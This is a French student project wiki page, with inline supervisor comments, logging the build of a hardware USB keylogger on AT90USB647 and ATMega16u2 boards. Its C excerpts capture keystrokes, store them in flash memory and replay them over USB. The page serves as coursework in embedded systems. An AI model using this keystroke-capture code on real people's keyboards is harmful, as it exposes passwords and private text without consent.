Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
